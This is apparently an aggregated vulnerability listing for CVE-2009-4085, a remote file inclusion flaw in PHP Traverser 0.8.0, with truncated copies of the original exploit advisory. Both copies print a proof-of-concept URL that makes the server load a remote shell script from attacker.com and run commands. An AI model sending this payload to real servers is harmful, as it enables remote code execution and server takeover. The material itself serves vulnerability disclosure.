CVE-2009-4085

CVE-2009-4085 describes a remote file inclusion (RFI) in PHP Traverser 0.8.0. The vulnerability affects the file assets/plugins/mp3_id/mp3_id.php, where an attacker can supply a URL via the GLOBALS[BASE] parameter to execute arbitrary PHP code on the server. The CVSSv2 base score is 7.5 (HIGH) wi...

phptraverse 0.8.0 - Remote File Inclusion

phptraverse 0.8.0 - Remote File Inclusion Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg phptraverse PoC : http://server/path/assets/plugins/mp3id/mp3id.php?GLOBALSBASE=http://attacker.com/shell.txt?cmd Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang...

PHP Traverse 0.8.0 Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg phptraverse PoC : http://0wn3d.com/path/assets/plugins/mp3id/mp3id.php?GLOBALSBASE=http://attacker.com/shell.txt?cmd Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I Love U Full : /...